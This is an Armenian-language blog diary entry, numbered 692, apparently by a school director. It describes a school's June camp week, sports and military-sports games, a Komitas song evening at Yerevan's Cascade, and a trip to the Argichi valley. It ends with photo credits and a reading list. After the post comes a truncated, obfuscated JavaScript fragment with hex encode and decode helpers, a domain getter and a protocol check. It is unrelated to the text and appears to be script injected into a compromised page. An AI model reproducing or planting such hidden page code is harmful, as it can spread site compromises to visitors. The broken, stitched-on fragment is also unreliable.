Կարկուտն ի՞նչ անի, երկինք ու երկի՞ր մաքրի-պարզի: Արված է:

Իմ 692-րդ գրով, հաշված անգամ իմ օրագրի կիրակիներով, առտու-գիշերվա նույն ժամին, երբ Աշոտիկ-Դավիթը` մեր տղուկը, իր-իմ տեղում է` կատարած «դարձ ի շրջանս իւր», ես` իմ տեղում, իմ աթոռին, իմ իրավունքով, ասում եմ, լսե´ք, բոլոր կարգի ու տարիքի սեբաստացիներ, որտեղ էլ որ կաք… ի˜նչ շաբաթ է դիմացներս` հերթական ու Ավագ` հունիսի 13-ից սկսվող Բանգլադեշյան ամենամյա բաց պլեներից առաջ, նրան ընդառաջ…

Կարկուտն ու ծիածանը Բանգլադեշում։  Լուսանկարները` Լուսինե Բուշի, Արմինե Թոփչյանի, Մարիետ Սիմոնյանի։

Հունիսի 6–ից-10-ը մեր ուսումնական ճամբարային  երկրորդ շաբաթվա օրերն են` մարզական, ռազմամարզական, ճամփորդական. աշխատանքային մեր առօրյան կավարտվի ընտանեկան-սեբաստացիական տոնախմբությամբ Երևանի կասկադում, հունիսի 10-ին`  ժամը 20:00-21:00:  Մեկ ժամ մենք միասին կերգենք, կխաղանք, կպարենք Կոմիտաս, ողջ երկրի ու ողջ ամառվա համար հակաբացիլ կտարածենք` Կոմիտաս… Ահա այս 10 երգերը, թույլ տվեք իմ վերջնական ընտրությամբ, Արթուր Շահնազարյանի ու ձեր բոլորիդ համաձայնությամբ, իհարկե, մանկական աղոթքով սկսված,  «Այբ, բեն, գիմ»-ով ավարտված…

Սրա համար մենք` յուրաքանչյուրս, բերանացի կանենք «անգիր արած ջրի պես», այս տաս երգ-խաղերը, որպես առողջաբեր հաբեր` այս կիրակի օրով սկսած, Ավագ շաբաթվա ամեն ընտանեկան իրիկուն ու ճամբարային առավոտ…

Հունիսի 7-ին, ընդհանուր ճամբարային պարապմունքը կանենք բոլոր սեբաստացի ճամբարականներով միասին, Մարմարյա սրահում. ուշադիր, մուտքը Մայր դպրոց` Բաբաջանյան պողոտայի Մարզական դռնով և կրթական Պուրակի դռնով…

Հունիսի 8-ին` ռազմամարզական հունիսյան ամառային խաղերն են, մարզական-ճամփորդական ամառվա մեր պատրաստության-ուրախության ստուգատեսը: Ահա այսպիսի ծրագիր նախնական, որ հունիսի 7-ին, առավոտվա ընդհանուր պարապմունքին, Մայր դպրոցի Մարմարյա սրահում կճշտենք…

Սևանի «Ժայռ» ճամբարում։
Լուսանկարները` Գայանե Միրաքյանի։

Այո՛, միշտ պատրաստ, ռազմամարզական-ճամփորդական: Այո՛, մեր բանգլադեշյան ծովերի-լողափերի ստուգատես` մաքուր, անվտանգ, գրավիչ, անվային խաղերի, հեծանվային, չմշկային, թե այլ ստուգատես, գնդակով, պարանով, օղակով, մարմնամարզական` դրսում, թե ներսում ստուգատես, արգելքների հաղթահարման պատրաստություն, մեծ ստուգատես… Ամբողջ շաբաթը իսկական ստուգատես կլինի աշխատանքի ճամբարի` չորս ջոկատների ու ավելացող մարտիկների, երկրագործության ստուգատես։ Իմացա՞ք, ծափահարե´ք: Ավագ դպրոցի աշխատանքային ջոկատը վստահ սկսել է ղեկավարել Միքայել Ղազարյանը: Տեսե´ք` ի˜նչ տեսք է ունենալու Մարզադաշտը հունիսի 8-ին: Այսպիսի կիրակի, Ավագ շաբաթվա, երբ ջնջվել են աշխատանքի-հանգստի սահմանները…

Չորրորդ դասարանցիները հենց կիրակի օրով, այսօր են «ինքնաստուգվելու» մաթեմատիկայից… Նույն խաղաղ-արդար-դեղին (լույսի, արևի գույնը) օրը-միջավայրը կլինի, ինչպես մայրենիի օրը` հունիսի 1-ը, երաշխավորված է մեր կյանքով, մանկավարժության մեր հավատամքով:

Լուսանկարները` Հասմիկ Պողոսյանի։

Քիչ հետո իմ մի մեքենա ընկերների հետ մեկնում եմ աշխատանքային այցի Արգիճի գետի հովիտ` ներքին-Վերին Գետաշեն, Մադինա, Գեղհովիտ` մեր ևս մեկ ամառային արշավախմբային ճամբարի տեղը որոշելու… Կգամ, կպատմեմ, իմ 700-րդ գրին ինքչա˜ն կա:

Ահա և իմ կիրակնօրյա ընթերցարանը:

• Որոշ ուտելիքներ հիվանդությունների դեպքում օգնում են դեղերից ոչ պակաս 
• Ձվի կճեպն ունի զարմանալի բուժիչ հատկություններ
• Ինչպես է լույսը բացվում աշխարհի տարբեր ծայրերում

Իսկ ինչպե՞ս է լույսը բացվում Երևանում, մեր տան պատշգամբից… հետևե´ք Օրագրին ամեն օր, անընդհատ…

• Ռուսաստանը գաղութացրել է մեր մտածողությունը 
• Աշխարհի հնագույն քաղաքակրթությունը 
• Ռուսները կստանան նաև Հայաստանի օդը
• Պաղպաղակի հինգ առավելությունները շոգին

Արգիճի հովտում ։
Լուսանկարները` Անահիտ Մելքոնյանի։

#692

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e